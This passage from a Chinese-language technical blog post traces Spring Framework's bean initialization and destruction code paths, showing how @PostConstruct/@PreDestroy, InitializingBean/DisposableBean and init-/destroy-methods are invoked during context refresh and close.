refresh 方法源碼如下:

public void refresh() throws BeansException, IllegalStateException {
    synchronized (this.startupShutdownMonitor) {
            //... 忽略無關代碼

            // 初始化所有非延遲初始化的 Bean
            finishBeanFactoryInitialization(beanFactory);

            // 發送 ContextRefreshedEvent
            finishRefresh();

            //... 忽略無關代碼
    }
}

一路跟蹤 finishBeanFactoryInitialization 源碼,直到 AbstractAutowireCapableBeanFactory#initializeBean,源碼如下:

protected Object initializeBean(final String beanName, final Object bean, RootBeanDefinition mbd) {
    Object wrappedBean = bean;
    if (mbd == null || !mbd.isSynthetic()) {
        // 調用 BeanPostProcessor#postProcessBeforeInitialization 方法
        wrappedBean = applyBeanPostProcessorsBeforeInitialization(wrappedBean, beanName);
    }

    try {
        // 初始化 Bean
        invokeInitMethods(beanName, wrappedBean, mbd);
    }
    catch (Throwable ex) {
        throw new BeanCreationException(
                (mbd != null ? mbd.getResourceDescription() : null),
                beanName, "Invocation of init method failed", ex);
    }
}

BeanPostProcessor 將會起着攔截器的作用,一旦 Bean 符合條件,將會執行一些處理。這裏帶有 @PostConstruct 註解的 Bean 都將會被 CommonAnnotationBeanPostProcessor 類攔截,內部將會觸發 @PostConstruct 標註的方法。

接着執行 invokeInitMethods ,方法如下:

protected void invokeInitMethods(String beanName, final Object bean, RootBeanDefinition mbd)
        throws Throwable {

    boolean isInitializingBean = (bean instanceof InitializingBean);
    if (isInitializingBean && (mbd == null || !mbd.isExternallyManagedInitMethod("afterPropertiesSet"))) {
        // 省略無關代碼
        // 如果是 Bean 繼承 InitializingBean,將會執行  afterPropertiesSet 方法
        ((InitializingBean) bean).afterPropertiesSet();
    }

    if (mbd != null) {
        String initMethodName = mbd.getInitMethodName();
        if (initMethodName != null && !(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) &&
                !mbd.isExternallyManagedInitMethod(initMethodName)) {
            // 執行 XML 定義 init-method
            invokeCustomInitMethod(beanName, bean, mbd);
        }
    }
}

如果 Bean 繼承 InitializingBean 接口,將會執行 afterPropertiesSet 方法,另外如果在 XML 中指定了 init-method ,也將會觸發。

上面源碼其實都是圍繞着 Bean 創建的過程,當所有 Bean 創建完成之後,調用 context#start 將會發送 ContextStartedEvent 。這裏源碼比較簡單,如下:

public void start() {
    getLifecycleProcessor().start();
    publishEvent(new ContextStartedEvent(this));
}

4.2、銷毀過程

調用 ClassPathXmlApplicationContext#close 方法將會關閉容器,具體邏輯將會在 doClose 方法執行。

doClose 這個方法首先發送 ContextClosedEvent,然再后開始銷毀 Bean

靈魂拷問:如果我們顛倒上面兩者順序,結果會一樣嗎?

doClose 源碼如下:

protected void doClose() {
    if (this.active.get() && this.closed.compareAndSet(false, true)) {
        // 省略無關代碼

        try {
            // Publish shutdown event.
            publishEvent(new ContextClosedEvent(this));
        }
        catch (Throwable ex) {
            logger.warn("Exception thrown from ApplicationListener handling ContextClosedEvent", ex);
        }


        // 銷毀 Bean
        destroyBeans();

        // 省略無關代碼
    }
}

destroyBeans 最終將會執行 DisposableBeanAdapter#destroy@PreDestroyDisposableBeandestroy-method 三者定義的方法都將會在內部被執行。

首先執行 DestructionAwareBeanPostProcessor#postProcessBeforeDestruction,這裏方法類似與上面 BeanPostProcessor

@PreDestroy 註解將會被 CommonAnnotationBeanPostProcessor 攔截,這裏類同時也繼承了 DestructionAwareBeanPostProcessor

最後如果 BeanDisposableBean 的子類,將會執行 destroy 方法,如果在 xml 定義了 destroy-method 方法,該方法也會被執行。

public void destroy() {
    if (!CollectionUtils.isEmpty(this.beanPostProcessors)) {
        for (DestructionAwareBeanPostProcessor processor : this.beanPostProcessors) {
            processor.postProcessBeforeDestruction(this.bean, this.beanName);
        }
    }

    if (this.invokeDisposableBean) {
        // 省略無關代碼
        // 如果 Bean 繼承 DisposableBean,執行 destroy 方法
        ((DisposableBean) bean).destroy();
        
    }

    if (this.destroyMethod != null) {
        // 執行 xml 指定的  destroy-method 方法
        invokeCustomDestroyMethod(this.destroyMethod);
    }
    else if (this.destroyMethodName != null) {
        Method methodToCall = determineDestroyMethod();
        if (methodToCall != null) {
            invokeCustomDestroyMethod(methodToCall);
        }
    }
}

五、總結

init-method/destroy-method 這種方式需要使用 XML 配置文件或單獨註解配置類,相對來說比較繁瑣。而InitializingBean/DisposableBean 這種方式需要單獨繼承 Spring 的接口實現相關方法。@PostConstruct/@PreDestroy 這種註解方式使用方式簡單,代碼清晰,比較推薦使用這種方式。

另外 ContextStartedEvent/ContextClosedEvent 這種方式比較適合在一些集成框架使用,比如 Dubbo 2.6.X 優雅停機就是用改機制。

六、Spring 歷史文章推薦

歡迎關注我的公眾號:程序通事,獲得日常乾貨推送。如果您對我的專題內容感興趣,也可以關注我的博客:

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選